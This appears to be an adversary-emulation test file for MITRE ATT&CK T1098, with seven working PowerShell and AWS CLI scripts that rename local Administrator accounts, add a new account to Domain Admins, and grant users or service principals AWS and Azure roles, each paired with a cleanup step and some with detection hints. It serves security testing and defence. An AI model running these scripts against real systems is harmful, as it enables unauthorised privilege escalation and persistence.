attack_technique: T1098
display_name: Account Manipulation
atomic_tests:
- name: Admin Account Manipulate
  auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af
  description: |
    Manipulate Admin Account Name
  supported_platforms:
  - windows
  executor:
    command: |
      $x = Get-Random -Minimum 2 -Maximum 9999
      $y = Get-Random -Minimum 2 -Maximum 9999
      $z = Get-Random -Minimum 2 -Maximum 9999
      $w = Get-Random -Minimum 2 -Maximum 9999
      Write-Host HaHa_$x$y$z

      $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

      foreach($member in $fmm) {
          if($member -like "*Administrator*") {
              $account = $member.Name -replace ".+\\\","" # strip computername\
              $originalDescription = (Get-LocalUser -Name $account).Description
              Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
              Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
              Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
              }
          }
    cleanup_command: |
      $list = Get-LocalUser |?{$_.Description -like "atr:*"}
      foreach($u in $list) {
        $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
        Set-LocalUser -Name $u.Name -Description $Matches.Description
        Rename-LocalUser -Name $u.Name -NewName $Matches.Name
        Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
      }
    name: powershell
    elevation_required: true

- name: Domain Account and Group Manipulate
  auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9
  description: |
    Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). 
    
    The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
    you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to 
    create the user and alter the group. Automatic installation of the dependency requires an elevated session, 
    and is unlikely to work with Powershell Core (untested).

    If you consider running this test against a production Active Directory, the good practise is to create a dedicated
    service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated
    as group manager of the target group.

    Example: `Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }`
  supported_platforms:
  - windows
  input_arguments:
    account_prefix:
      description: |
        Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on
        a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful.
      type: String
      default: atr-
    group:
      description: Name of the group to alter
      type: String
      default: "Domain Admins"
    create_args:
      description: Additional string appended to New-ADUser call 
      type: String
      default: ""
  dependencies:
  - description: |
      PS Module ActiveDirectory
    prereq_command: |
      Try {
          Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
          exit 0
      } 
      Catch {
          exit 1
      }
    get_prereq_command: |
      if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
        Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
      } else {
        Install-WindowsFeature RSAT-AD-PowerShell
      }
  executor:
    command: |
      $x = Get-Random -Minimum 2 -Maximum 99
      $y = Get-Random -Minimum 2 -Maximum 99
      $z = Get-Random -Minimum 2 -Maximum 99
      $w = Get-Random -Minimum 2 -Maximum 99

      Import-Module ActiveDirectory
      $account = "#{account_prefix}-$x$y$z"
      New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
      Add-ADGroupMember "#{group}" $account
    cleanup_command: |
      Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))" | Remove-ADUser -Confirm:$False
    name: powershell

- name: AWS - Create a group and add a user to that group
  auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122
  description: |
    Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss
  supported_platforms:
  - iaas:aws
  input_arguments:
    username:
      description: Name of the AWS group to create
      type: String
      default: "atomicredteam"
  dependencies:
    - description: |
        Check if the user exists, we can only add a user to a group if the user exists.
      prereq_command: |
        aws iam list-users | grep #{username}
      get_prereq_command: |
        echo Please run atomic test T1136.003, before running this atomic test
  executor:
    command: |
      aws iam create-group --group-name #{username}
      aws iam add-user-to-group --user-name #{username} --group-name #{username}
    cleanup_command: |
      aws iam remove-user-from-group --user-name #{username} --group-name #{username}
      aws iam delete-group --group-name #{username}
    name: sh

- name: Azure - adding user to Azure AD role
  auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261
  description: |
    The adversarie want to add user to some Azure AD role. Threat actor 
    may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, 
    Privileged authentication administrator (this role can reset Global Administrator password!).
    By default, the role Global Reader is assigned to service principal in this test.
  
    The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

    Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see User as a type.
  supported_platforms:
  - azure-ad
  input_arguments:
    username:
      description: Azure AD username
      type: String
      default: jonh@contoso.com
    password:
      description: Azure AD password
      type: String
      default: p4sswd
    user_principal_name:
      description: Name of the targeted user (user principal)
      type: String
      default: SuperUser
    role_name:
      description: Name of the targed Azure AD role
      type: String
      default: Global Reader 
  dependencies:
  - description: |
      AzureAD module must be installed.
    prereq_command: |
      try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |
      Install-Module -Name AzureAD -Force
  executor:
    command: |
      Import-Module -Name AzureAD
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzureAD -Credential $Credential

      $user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
      if ($user -eq $null) { Write-Warning "User not found"; exit }
      $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }
      Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
      Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
    cleanup_command: |
      Import-Module -Name AzureAD -ErrorAction Ignore
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzureAD -Credential $Credential -ErrorAction Ignore

      $user = Get-AzureADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
      if ($user -eq $null) { Write-Warning "User not found"; exit }
      $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }
      
      Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId
      Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role"
    name: powershell
    elevation_required: false

- name: Azure - adding service principal to Azure AD role
  auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4
  description: |
    The adversarie want to add service principal to some Azure AD role. Threat actor 
    may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, 
    Privileged authentication administrator (this role can reset Global Administrator password!).
    By default, the role Global Reader is assigned to service principal in this test.
  
    The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

    Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.
  supported_platforms:
  - azure-ad
  input_arguments:
    username:
      description: Azure AD username
      type: String
      default: jonh@contoso.com
    password:
      description: Azure AD password
      type: String
      default: p4sswd
    service_principal_name:
      description: Name of the service principal
      type: String
      default: SuperSP
    role_name:
      description: Name of the targed Azure AD role
      type: String
      default: Global Reader 
  dependencies:
  - description: |
      AzureAD module must be installed.
    prereq_command: |
      try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |
      Install-Module -Name AzureAD -Force
  executor:
    command: |
      Import-Module -Name AzureAD
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzureAD -Credential $Credential

      $sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
      if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
      $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }
      Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
      Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
    cleanup_command: |
      Import-Module -Name AzureAD -ErrorAction Ignore
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzureAD -Credential $Credential -ErrorAction Ignore

      $sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
      if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
      $role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }

      Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId
      Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role"
    name: powershell
    elevation_required: false

- name: Azure - adding user to Azure role in subscription
  auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea
  description: |
    The adversarie want to add user to some Azure role, also called Azure resource role. Threat actor 
    may be interested primarily in highly privileged roles, e.g. Owner, Contributor.
    By default, the role Reader is assigned to user in this test.

    New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.
  
    The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write 
    (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All 
    and Microsoft Graph Directory.Read.All permissions.

    Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
  supported_platforms:
  - iaas:azure
  input_arguments:
    username:
      description: Azure AD username
      type: String
      default: jonh@contoso.com
    password:
      description: Azure AD password
      type: String
      default: p4sswd
    user_principal_name:
      description: Name of the targeted user (user principal)
      type: String
      default: SuperUser
    role_name:
      description: Name of the targed Azure role
      type: String
      default: Reader
    subscription:
      description: Name of the targed subscription
      type: String
      default: Azure subscription 1
  dependencies:
  - description: |
      Az.Resources module must be installed.
    prereq_command: |
      try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |
      Install-Module -Name Az.Resources -Force
  executor:
    command: |
      Import-Module -Name Az.Resources
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzAccount -Credential $Credential

      $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
      if ($user -eq $null) { Write-Warning "User not found"; exit }
      $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
      if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
      $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }

      New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
      Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
    cleanup_command: |
      Import-Module -Name AzureAD -ErrorAction Ignore
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzAccount -Credential $Credential -ErrorAction Ignore

      $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}"}
      if ($user -eq $null) { Write-Warning "User not found"; exit }
      $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
      if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
      $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }

      Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
      Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
    name: powershell
    elevation_required: false

- name: Azure - adding service principal to Azure role in subscription
  auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404
  description: |
    The adversarie want to add service principal to some Azure role, also called Azure resource role. Threat actor 
    may be interested primarily in highly privileged roles, e.g. Owner, Contributor.
    By default, the role Reader is assigned to service principal in this test.

    New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.
  
    The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write 
    (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All 
    and Microsoft Graph Directory.Read.All permissions.

    Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
  supported_platforms:
  - iaas:azure
  input_arguments:
    username:
      description: Azure AD username
      type: String
      default: jonh@contoso.com
    password:
      description: Azure AD password
      type: String
      default: p4sswd
    service_principal_name:
      description: Name of the service principal
      type: String
      default: SuperSP
    role_name:
      description: Name of the targed Azure role
      type: String
      default: Reader 
    subscription:
      description: Name of the targed subscription
      type: String
      default: Azure subscription 1  
  dependencies:
  - description: |
      Az.Resources module must be installed.
    prereq_command: |
      try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |
      Install-Module -Name Az.Resources -Force
  executor:
    command: |
      Import-Module -Name Az.Resources
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzAccount -Credential $Credential

      $sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
      if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
      $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} 
      if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
      $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }

      New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
      Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
    cleanup_command: |
      Import-Module -Name AzureAD -ErrorAction Ignore
      $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
      Connect-AzAccount -Credential $Credential -ErrorAction Ignore

      $sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
      if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
      $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} 
      if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
      $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
      if ($role -eq $null) { Write-Warning "Role not found"; exit }
      
      Remove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
      Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
    name: powershell
    elevation_required: false
